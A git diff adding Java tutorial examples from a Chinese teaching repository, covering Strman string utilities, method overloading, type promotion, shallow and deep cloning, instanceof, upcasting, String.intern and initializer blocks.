+import java.util.*;
+import java.util.stream.Collectors;
+import java.util.stream.Stream;
+
+import static java.util.function.Function.identity;
+import static java.util.stream.Collectors.*;
+
+/**
+ * 微信搜索「沉默王二」,回复 Java
+ *
+ * @author 沉默王二
+ * @date 2020/11/17
+ */
+public class Demo {
+ public static void main(String[] args) {
+ Strman.append("沉", "默", "王", "二");
+
+ System.out.println(Strman.prepend("沉", "默", "王", "二"));
+
+ String[] strs = {"默", "王", "二"};
+ System.out.println(Strman.appendArray("沉", strs));
+
+
+ System.out.println(Strman.at("沉默王二", 0));
+ System.out.println(Strman.at("沉默王二", -1));
+ System.out.println(Strman.at("沉默王二", -3));
+
+ String[] results = Strman.between("[沉默王二][一枚有趣的程序员]", "[", "]");
+
+ System.out.println(Arrays.toString(results));
+
+ results = Strman.chars("沉默王二");
+ System.out.println(Arrays.toString(results));
+
+ Map map = Strman.charsCount("沉默王二的妹妹叫沉默王三");
+
+ System.out.println(map);
+
+ System.out.println(Strman.collapseWhitespace("沉默王二 一枚有趣的程序员"));
+
+ System.out.println(Strman.contains("沉默王二", "沉"));
+ System.out.println(Strman.contains("Abbc", "A", false));
+
+
+ System.out.println(Strman.containsAny("沉默王二", new String[]{"沉", "三"}));
+ System.out.println(Strman.containsAny("沉默王二", new String[]{"沉默", "三"}));
+ System.out.println(Strman.containsAny("沉默王二", new String[]{"不", "三"}));
+
+ System.out.println(Strman.endsWith("沉默王二", "二"));
+ System.out.println(Strman.endsWith("Abbc", "A", false));
+
+ System.out.println(Strman.ensureLeft("沉默王二", "沉"));
+ System.out.println(Strman.ensureLeft("默王二", "沉"));
+
+ System.out.println(Strman.base64Encode("沉默王二"));
+ System.out.println(Strman.base64Decode("5rKJ6buY546L5LqM"));
+// System.out.println(Strman.base64Decode("5rKJ6bu1Y546L5LqM"));
+
+ System.out.println(Strman.binEncode("沉默王二"));
+
+ System.out.println(Strman.binDecode("01101100100010011100111101101100001110011100010110100111010001100"));
+
+ System.out.println(Strman.first("沉默王二", 0));
+ System.out.println(Strman.first("沉默王二", 1));
+ System.out.println(Strman.first("沉默王二", 2));
+
+// System.out.println(Strman.first("沉默王二", -1));
+
+ System.out.println(Strman.head("沉默王二"));
+
+ System.out.println(Strman.unequal("沉默王二", "沉默王三"));
+
+ System.out.println(Strman.unequal("沉默王二", new String("沉默王二")));
+
+ System.out.println(Strman.insert("沉默二", "王", 2));
+
+ System.out.println(Strman.leftPad("王二", "沉默", 6));
+
+ results = Strman.removeEmptyStrings(new String[]{"沉", " ", " ", "默王二"});
+ System.out.println(Arrays.toString(results));
+
+
+ System.out.println(Strman.repeat("沉默王二", 3));
+
+ System.out.println(Stream.generate(() -> "沉默王二").limit(2).collect(Collectors.joining()));
+
+ System.out.println(Strman.reverse("沉默王二"));
+
+ System.out.println(Strman.safeTruncate("沉默王二", 4, "。。。"));
+
+ System.out.println(Strman.safeTruncate("Java is the best", 13, "..."));
+
+ System.out.println(Strman.truncate("Java is the best", 13, "..."));
+
+ System.out.println(Strman.shuffle("沉默王二"));
+ }
+}
+
+
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingByParamNum.java b/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingByParamNum.java
new file mode 100644
index 0000000000..6537a14228
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingByParamNum.java
@@ -0,0 +1,21 @@
+package com.itwanger.thirty;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class OverloadingByParamNum {
+ public static void main(String[] args) {
+ System.out.println(Adder.add(10, 19));
+ System.out.println(Adder.add(10, 19, 20));
+ }
+}
+
+class Adder {
+ static int add(int a, int b) {
+ return a + b;
+ }
+
+ static int add(int a, int b, int c) {
+ return a + b + c;
+ }
+}
\ No newline at end of file
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingByParamType.java b/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingByParamType.java
new file mode 100644
index 0000000000..c75a15e66c
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingByParamType.java
@@ -0,0 +1,21 @@
+package com.itwanger.thirty;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class OverloadingByParamType {
+ public static void main(String[] args) {
+ System.out.println(Adder1.add(10, 19));
+ System.out.println(Adder1.add(10.1, 19.2));
+ }
+}
+
+class Adder1 {
+ static int add(int a, int b) {
+ return a + b;
+ }
+
+ static double add(double a, double b) {
+ return a + b;
+ }
+}
\ No newline at end of file
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingByReturnType.java b/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingByReturnType.java
new file mode 100644
index 0000000000..dc2f871705
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingByReturnType.java
@@ -0,0 +1,21 @@
+package com.itwanger.thirty;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class OverloadingByReturnType {
+ public static void main(String[] args) {
+ System.out.println(Adder2.add(10, 19));
+ System.out.println(Adder2.add(10, 19));
+ }
+}
+
+class Adder2 {
+ static int add(int a, int b) {
+ return a + b;
+ }
+
+// static double add(int a, int b) {
+// return a + b;
+// }
+}
\ No newline at end of file
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingMain.java b/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingMain.java
new file mode 100644
index 0000000000..da2ebbbece
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingMain.java
@@ -0,0 +1,18 @@
+package com.itwanger.thirty;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class OverloadingMain {
+ public static void main(String[] args) {
+ System.out.println("String[] args");
+ }
+
+ public static void main(String args) {
+ System.out.println("String args");
+ }
+
+ public static void main() {
+ System.out.println("无参");
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingTypePromotion.java b/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingTypePromotion.java
new file mode 100644
index 0000000000..bca640e231
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingTypePromotion.java
@@ -0,0 +1,20 @@
+package com.itwanger.thirty;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class OverloadingTypePromotion {
+ void sum(int a, long b) {
+ System.out.println(a + b);
+ }
+
+ void sum(int a, int b, int c) {
+ System.out.println(a + b + c);
+ }
+
+ public static void main(String args[]) {
+ OverloadingTypePromotion obj = new OverloadingTypePromotion();
+ obj.sum(20, 20);
+ obj.sum(20, 20, 20);
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingTypePromotion1.java b/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingTypePromotion1.java
new file mode 100644
index 0000000000..359f3ab038
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingTypePromotion1.java
@@ -0,0 +1,19 @@
+package com.itwanger.thirty;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class OverloadingTypePromotion1 {
+ void sum(int a, int b) {
+ System.out.println("int");
+ }
+
+ void sum(long a, long b) {
+ System.out.println("long");
+ }
+
+ public static void main(String args[]) {
+ OverloadingTypePromotion1 obj = new OverloadingTypePromotion1();
+ obj.sum(20, 20);
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingTypePromotion2.java b/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingTypePromotion2.java
new file mode 100644
index 0000000000..8eab6005c9
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirty/OverloadingTypePromotion2.java
@@ -0,0 +1,19 @@
+package com.itwanger.thirty;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class OverloadingTypePromotion2 {
+ void sum(long a, int b) {
+ System.out.println("long int");
+ }
+
+ void sum(int a, long b) {
+ System.out.println("int long");
+ }
+
+ public static void main(String args[]) {
+ OverloadingTypePromotion2 obj = new OverloadingTypePromotion2();
+// obj.sum(20, 20);
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirty/box/Test.java b/codes/TechSister/src/main/java/com/itwanger/thirty/box/Test.java
new file mode 100644
index 0000000000..8b83e0e12f
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirty/box/Test.java
@@ -0,0 +1,16 @@
+package com.itwanger.thirty.box;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class Test {
+ public static void main(String[] args) {
+ long t1 = System.currentTimeMillis();
+ long sum = 0L;
+ for (int i = 0; i < Integer.MAX_VALUE;i++) {
+ sum += i;
+ }
+ long t2 = System.currentTimeMillis();
+ System.out.println(t2-t1);
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirty/copy1/TestClone.java b/codes/TechSister/src/main/java/com/itwanger/thirty/copy1/TestClone.java
new file mode 100644
index 0000000000..eeeb2fb240
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirty/copy1/TestClone.java
@@ -0,0 +1,21 @@
+package com.itwanger.thirty.copy1;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+class TestClone {
+ public static void main(String[] args) throws CloneNotSupportedException {
+ Writer writer1 = new Writer(18,"二哥");
+ Writer writer2 = (Writer) writer1.clone();
+
+ System.out.println("浅拷贝后:");
+ System.out.println("writer1:" + writer1);
+ System.out.println("writer2:" + writer2);
+
+ writer2.setName("三妹");
+
+ System.out.println("调整了 writer2 的 name 后:");
+ System.out.println("writer1:" + writer1);
+ System.out.println("writer2:" + writer2);
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirty/copy1/Writer.java b/codes/TechSister/src/main/java/com/itwanger/thirty/copy1/Writer.java
new file mode 100644
index 0000000000..dbe4b87a55
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirty/copy1/Writer.java
@@ -0,0 +1,43 @@
+package com.itwanger.thirty.copy1;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+class Writer implements Cloneable{
+ private int age;
+ private String name;
+
+ public Writer(int age, String name) {
+ this.age = age;
+ this.name = name;
+ }
+
+ public int getAge() {
+ return age;
+ }
+
+ public void setAge(int age) {
+ this.age = age;
+ }
+
+ public String getName() {
+ return name;
+ }
+
+ public void setName(String name) {
+ this.name = name;
+ }
+
+ @Override
+ public String toString() {
+ return super.toString().substring(26) + "{" +
+ "age=" + age +
+ ", name='" + name + '\'' +
+ '}';
+ }
+
+ @Override
+ protected Object clone() throws CloneNotSupportedException {
+ return super.clone();
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirty/copy2/Book.java b/codes/TechSister/src/main/java/com/itwanger/thirty/copy2/Book.java
new file mode 100644
index 0000000000..0a7b1034bd
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirty/copy2/Book.java
@@ -0,0 +1,38 @@
+package com.itwanger.thirty.copy2;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+class Book {
+ private String bookName;
+ private int price;
+
+ public Book(String bookName, int price) {
+ this.bookName = bookName;
+ this.price = price;
+ }
+
+ public String getBookName() {
+ return bookName;
+ }
+
+ public void setBookName(String bookName) {
+ this.bookName = bookName;
+ }
+
+ public int getPrice() {
+ return price;
+ }
+
+ public void setPrice(int price) {
+ this.price = price;
+ }
+
+ @Override
+ public String toString() {
+ return super.toString().substring(26) +
+ " bookName='" + bookName + '\'' +
+ ", price=" + price +
+ '}';
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirty/copy2/TestClone.java b/codes/TechSister/src/main/java/com/itwanger/thirty/copy2/TestClone.java
new file mode 100644
index 0000000000..7cfcb24add
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirty/copy2/TestClone.java
@@ -0,0 +1,26 @@
+package com.itwanger.thirty.copy2;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+class TestClone {
+ public static void main(String[] args) throws CloneNotSupportedException {
+ Writer writer1 = new Writer(18,"二哥");
+ Book book1 = new Book("编译原理",100);
+ writer1.setBook(book1);
+
+ Writer writer2 = (Writer) writer1.clone();
+ System.out.println("浅拷贝后:");
+
+ System.out.println("writer1:" + writer1);
+ System.out.println("writer2:" + writer2);
+
+ Book book2 = writer2.getBook();
+ book2.setBookName("永恒的图灵");
+ book2.setPrice(70);
+ System.out.println("writer2.book 变更后:");
+
+ System.out.println("writer1:" + writer1);
+ System.out.println("writer2:" + writer2);
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirty/copy2/Writer.java b/codes/TechSister/src/main/java/com/itwanger/thirty/copy2/Writer.java
new file mode 100644
index 0000000000..06558cc3a2
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirty/copy2/Writer.java
@@ -0,0 +1,54 @@
+package com.itwanger.thirty.copy2;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+class Writer implements Cloneable{
+ private int age;
+ private String name;
+ private Book book;
+
+ public Writer(int age, String name) {
+ this.age = age;
+ this.name = name;
+ }
+
+ public int getAge() {
+ return age;
+ }
+
+ public void setAge(int age) {
+ this.age = age;
+ }
+
+ public String getName() {
+ return name;
+ }
+
+ public void setName(String name) {
+ this.name = name;
+ }
+
+ public Book getBook() {
+ return book;
+ }
+
+ public void setBook(Book book) {
+ this.book = book;
+ }
+
+ @Override
+ public String toString() {
+ return super.toString().substring(26) +
+ " age=" + age +
+ ", name='" + name + '\'' +
+ ", book=" + book +
+ '}';
+ }
+
+ @Override
+ protected Object clone() throws CloneNotSupportedException {
+ return super.clone();
+ }
+}
+
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirty/copy3/Book.java b/codes/TechSister/src/main/java/com/itwanger/thirty/copy3/Book.java
new file mode 100644
index 0000000000..2148d44549
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirty/copy3/Book.java
@@ -0,0 +1,44 @@
+package com.itwanger.thirty.copy3;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+class Book implements Cloneable{
+ private String bookName;
+ private int price;
+
+ public Book(String bookName, int price) {
+ this.bookName = bookName;
+ this.price = price;
+ }
+
+ public String getBookName() {
+ return bookName;
+ }
+
+ public void setBookName(String bookName) {
+ this.bookName = bookName;
+ }
+
+ public int getPrice() {
+ return price;
+ }
+
+ public void setPrice(int price) {
+ this.price = price;
+ }
+
+ @Override
+ public String toString() {
+ return super.toString().substring(26) +
+ " bookName='" + bookName + '\'' +
+ ", price=" + price +
+ '}';
+ }
+
+ @Override
+ protected Object clone() throws CloneNotSupportedException {
+ return super.clone();
+ }
+}
+
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirty/copy3/TestClone.java b/codes/TechSister/src/main/java/com/itwanger/thirty/copy3/TestClone.java
new file mode 100644
index 0000000000..4bd9f8da5a
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirty/copy3/TestClone.java
@@ -0,0 +1,26 @@
+package com.itwanger.thirty.copy3;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+class TestClone {
+ public static void main(String[] args) throws CloneNotSupportedException {
+ Writer writer1 = new Writer(18,"二哥");
+ Book book1 = new Book("编译原理",100);
+ writer1.setBook(book1);
+
+ Writer writer2 = (Writer) writer1.clone();
+ System.out.println("深拷贝后:");
+
+ System.out.println("writer1:" + writer1);
+ System.out.println("writer2:" + writer2);
+
+ Book book2 = writer2.getBook();
+ book2.setBookName("永恒的图灵");
+ book2.setPrice(70);
+ System.out.println("writer2.book 变更后:");
+
+ System.out.println("writer1:" + writer1);
+ System.out.println("writer2:" + writer2);
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirty/copy3/Writer.java b/codes/TechSister/src/main/java/com/itwanger/thirty/copy3/Writer.java
new file mode 100644
index 0000000000..448046fcbc
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirty/copy3/Writer.java
@@ -0,0 +1,55 @@
+package com.itwanger.thirty.copy3;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+class Writer implements Cloneable{
+ private int age;
+ private String name;
+ private Book book;
+
+ public Writer(int age, String name) {
+ this.age = age;
+ this.name = name;
+ }
+
+ public int getAge() {
+ return age;
+ }
+
+ public void setAge(int age) {
+ this.age = age;
+ }
+
+ public String getName() {
+ return name;
+ }
+
+ public void setName(String name) {
+ this.name = name;
+ }
+
+ public Book getBook() {
+ return book;
+ }
+
+ public void setBook(Book book) {
+ this.book = book;
+ }
+
+ @Override
+ public String toString() {
+ return super.toString().substring(26) +
+ " age=" + age +
+ ", name='" + name + '\'' +
+ ", book=" + book +
+ '}';
+ }
+
+ @Override
+ protected Object clone() throws CloneNotSupportedException {
+ Writer writer = (Writer) super.clone();
+ writer.setBook((Book) writer.getBook().clone());
+ return writer;
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirty/copy4/Book.java b/codes/TechSister/src/main/java/com/itwanger/thirty/copy4/Book.java
new file mode 100644
index 0000000000..90ad9b4312
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirty/copy4/Book.java
@@ -0,0 +1,41 @@
+package com.itwanger.thirty.copy4;
+
+import java.io.Serializable;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+class Book implements Serializable {
+ private String bookName;
+ private int price;
+
+ public Book(String bookName, int price) {
+ this.bookName = bookName;
+ this.price = price;
+ }
+
+ public String getBookName() {
+ return bookName;
+ }
+
+ public void setBookName(String bookName) {
+ this.bookName = bookName;
+ }
+
+ public int getPrice() {
+ return price;
+ }
+
+ public void setPrice(int price) {
+ this.price = price;
+ }
+
+ @Override
+ public String toString() {
+ return super.toString().substring(26) +
+ " bookName='" + bookName + '\'' +
+ ", price=" + price +
+ '}';
+ }
+}
+
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirty/copy4/TestClone.java b/codes/TechSister/src/main/java/com/itwanger/thirty/copy4/TestClone.java
new file mode 100644
index 0000000000..2a58f1a488
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirty/copy4/TestClone.java
@@ -0,0 +1,28 @@
+package com.itwanger.thirty.copy4;
+
+import java.io.IOException;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+class TestClone {
+ public static void main(String[] args) throws IOException, ClassNotFoundException {
+ Writer writer1 = new Writer(18,"二哥");
+ Book book1 = new Book("编译原理",100);
+ writer1.setBook(book1);
+
+ Writer writer2 = (Writer) writer1.deepClone();
+ System.out.println("深拷贝后:");
+
+ System.out.println("writer1:" + writer1);
+ System.out.println("writer2:" + writer2);
+
+ Book book2 = writer2.getBook();
+ book2.setBookName("永恒的图灵");
+ book2.setPrice(70);
+ System.out.println("writer2.book 变更后:");
+
+ System.out.println("writer1:" + writer1);
+ System.out.println("writer2:" + writer2);
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirty/copy4/Writer.java b/codes/TechSister/src/main/java/com/itwanger/thirty/copy4/Writer.java
new file mode 100644
index 0000000000..05965cc159
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirty/copy4/Writer.java
@@ -0,0 +1,65 @@
+package com.itwanger.thirty.copy4;
+
+import java.io.*;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+class Writer implements Serializable {
+ private int age;
+ private String name;
+ private Book book;
+
+ public Writer(int age, String name) {
+ this.age = age;
+ this.name = name;
+ }
+
+ public int getAge() {
+ return age;
+ }
+
+ public void setAge(int age) {
+ this.age = age;
+ }
+
+ public String getName() {
+ return name;
+ }
+
+ public void setName(String name) {
+ this.name = name;
+ }
+
+ public Book getBook() {
+ return book;
+ }
+
+ public void setBook(Book book) {
+ this.book = book;
+ }
+
+ @Override
+ public String toString() {
+ return super.toString().substring(26) +
+ " age=" + age +
+ ", name='" + name + '\'' +
+ ", book=" + book +
+ '}';
+ }
+
+ //深度拷贝
+ public Object deepClone() throws IOException, ClassNotFoundException {
+ // 序列化
+ ByteArrayOutputStream bos = new ByteArrayOutputStream();
+ ObjectOutputStream oos = new ObjectOutputStream(bos);
+
+ oos.writeObject(this);
+
+ // 反序列化
+ ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
+ ObjectInputStream ois = new ObjectInputStream(bis);
+
+ return ois.readObject();
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyeight/Dog.java b/codes/TechSister/src/main/java/com/itwanger/thirtyeight/Dog.java
new file mode 100644
index 0000000000..c1a6094dec
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirtyeight/Dog.java
@@ -0,0 +1,15 @@
+package com.itwanger.thirtyeight;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+class Animal {}
+public class Dog extends Animal{
+ public static void main(String[] args) {
+// Dog dog1 = (Dog)new Animal();
+
+ Dog dog = new Dog();
+ System.out.println(dog instanceof Dog);
+ System.out.println(dog instanceof Animal);
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyeight/Simple.java b/codes/TechSister/src/main/java/com/itwanger/thirtyeight/Simple.java
new file mode 100644
index 0000000000..60899618bd
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirtyeight/Simple.java
@@ -0,0 +1,11 @@
+package com.itwanger.thirtyeight;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class Simple {
+ public static void main(String[] args) {
+ Simple simple = new Simple();
+ System.out.println(simple instanceof Simple);
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyeight/Test.java b/codes/TechSister/src/main/java/com/itwanger/thirtyeight/Test.java
new file mode 100644
index 0000000000..27615d8468
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirtyeight/Test.java
@@ -0,0 +1,36 @@
+package com.itwanger.thirtyeight;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class Test {
+ public static void main(String[] args) {
+ I i = new B();
+ Call call = new Call();
+ call.invoke(i);
+ }
+}
+
+interface I{}
+class A implements I {
+ public void a() {
+ System.out.println("a");
+ }
+}
+class B implements I {
+ public void b() {
+ System.out.println("b");
+ }
+}
+class Call {
+ void invoke(I i) {
+ if (i instanceof A) {
+ A a = (A)i;
+ a.a();
+ }
+ if (i instanceof B) {
+ B b = (B)i;
+ b.b();
+ }
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyfive/CanntOverrideMemberDataDemo.java b/codes/TechSister/src/main/java/com/itwanger/thirtyfive/CanntOverrideMemberDataDemo.java
new file mode 100644
index 0000000000..bce23b8da3
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirtyfive/CanntOverrideMemberDataDemo.java
@@ -0,0 +1,18 @@
+package com.itwanger.thirtyfive;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+class Car{
+ int speedLimit = 60;
+}
+
+class Honda extends Car {
+ int speedLimit = 90;
+}
+public class CanntOverrideMemberDataDemo {
+ public static void main(String[] args) {
+ Car car = new Honda();
+ System.out.println(car.speedLimit);
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyfive/Child.java b/codes/TechSister/src/main/java/com/itwanger/thirtyfive/Child.java
new file mode 100644
index 0000000000..7f148e9e53
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirtyfive/Child.java
@@ -0,0 +1,21 @@
+package com.itwanger.thirtyfive;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+class Father{
+ void say() {
+ System.out.println("老子说");
+ }
+}
+public class Child extends Father {
+ @Override
+ void say() {
+ System.out.println("孩子说");
+ }
+
+ public static void main(String[] args) {
+ Father f = new Child();
+ f.say();
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyfive/StringInternDemo.java b/codes/TechSister/src/main/java/com/itwanger/thirtyfive/StringInternDemo.java
new file mode 100644
index 0000000000..e9c0f7bc54
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirtyfive/StringInternDemo.java
@@ -0,0 +1,12 @@
+package com.itwanger.thirtyfive;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class StringInternDemo {
+ public static void main(String[] args) {
+String s1 = new String("二哥") + new String("三妹");
+String s2 = s1.intern();
+System.out.println(s1 == s2);
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyfive/StringInternDemo1.java b/codes/TechSister/src/main/java/com/itwanger/thirtyfive/StringInternDemo1.java
new file mode 100644
index 0000000000..d94791ef68
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirtyfive/StringInternDemo1.java
@@ -0,0 +1,25 @@
+package com.itwanger.thirtyfive;
+
+import java.util.Random;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class StringInternDemo1 {
+ static final int MAX = 1000 * 10000;
+ static final String[] arr = new String[MAX];
+
+ public static void main(String[] args) throws Exception {
+ Integer[] DB_DATA = new Integer[10];
+ Random random = new Random(10 * 10000);
+ for (int i = 0; i < DB_DATA.length; i++) {
+ DB_DATA[i] = random.nextInt();
+ }
+ long t = System.currentTimeMillis();
+ for (int i = 0; i < MAX; i++) {
+ arr[i] = new String(String.valueOf(DB_DATA[i % DB_DATA.length]));
+ }
+
+ System.out.println((System.currentTimeMillis() - t) + "ms");
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyfive/StringInternDemo2.java b/codes/TechSister/src/main/java/com/itwanger/thirtyfive/StringInternDemo2.java
new file mode 100644
index 0000000000..a7be6e94b5
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirtyfive/StringInternDemo2.java
@@ -0,0 +1,12 @@
+package com.itwanger.thirtyfive;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class StringInternDemo2 {
+ public static void main(String[] args) {
+String s1 = new String("二哥三妹");
+String s2 = s1.intern();
+System.out.println(s1 == s2);
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyfive/UpcastingByIntefaceDemo.java b/codes/TechSister/src/main/java/com/itwanger/thirtyfive/UpcastingByIntefaceDemo.java
new file mode 100644
index 0000000000..9afc087d03
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirtyfive/UpcastingByIntefaceDemo.java
@@ -0,0 +1,11 @@
+package com.itwanger.thirtyfive;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+interface I {}
+class A1{}
+class B1 extends A1 implements I {}
+public class UpcastingByIntefaceDemo {
+ I i = new B1();
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyfive/UpcastingDemo.java b/codes/TechSister/src/main/java/com/itwanger/thirtyfive/UpcastingDemo.java
new file mode 100644
index 0000000000..04115feb0f
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirtyfive/UpcastingDemo.java
@@ -0,0 +1,13 @@
+package com.itwanger.thirtyfive;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+
+class A{}
+class B extends A{}
+
+public class UpcastingDemo {
+ // 向上转型
+ A a = new B();
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyfour/B.java b/codes/TechSister/src/main/java/com/itwanger/thirtyfour/B.java
new file mode 100644
index 0000000000..e707e54467
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirtyfour/B.java
@@ -0,0 +1,23 @@
+package com.itwanger.thirtyfour;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+class A {
+ A () {
+ System.out.println("父类构造方法");
+ }
+}
+public class B extends A{
+ B() {
+ System.out.println("子类构造方法");
+ }
+
+ {
+ System.out.println("代码初始化块");
+ }
+
+ public static void main(String[] args) {
+ new B();
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyfour/Bike.java b/codes/TechSister/src/main/java/com/itwanger/thirtyfour/Bike.java
new file mode 100644
index 0000000000..1b2670a187
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirtyfour/Bike.java
@@ -0,0 +1,21 @@
+package com.itwanger.thirtyfour;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class Bike {
+ List list;
+
+ {
+ list = new ArrayList<>();
+ list.add("沉默王二");
+ list.add("沉默王三");
+ }
+
+ public static void main(String[] args) {
+ System.out.println(new Bike().list);
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyfour/Car.java b/codes/TechSister/src/main/java/com/itwanger/thirtyfour/Car.java
new file mode 100644
index 0000000000..1bdf9501a1
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/thirtyfour/Car.java
@@ -0,0 +1,18 @@
+package com.itwanger.thirtyfour;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class Car {
+ Car() {
+ System.out.println("构造方法");
+ }
+
+ {
+ System.out.println("代码初始化块");
+ }
+
+ public static void main(String[] args) {
+ new Car();
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyfour/Car1.java b/codes/TechSister/src/main/java/com/itwanger/thirtyfour/Car1.java
new file mode 100644
index 0000000000..098af4ccb0
--- /dev/null
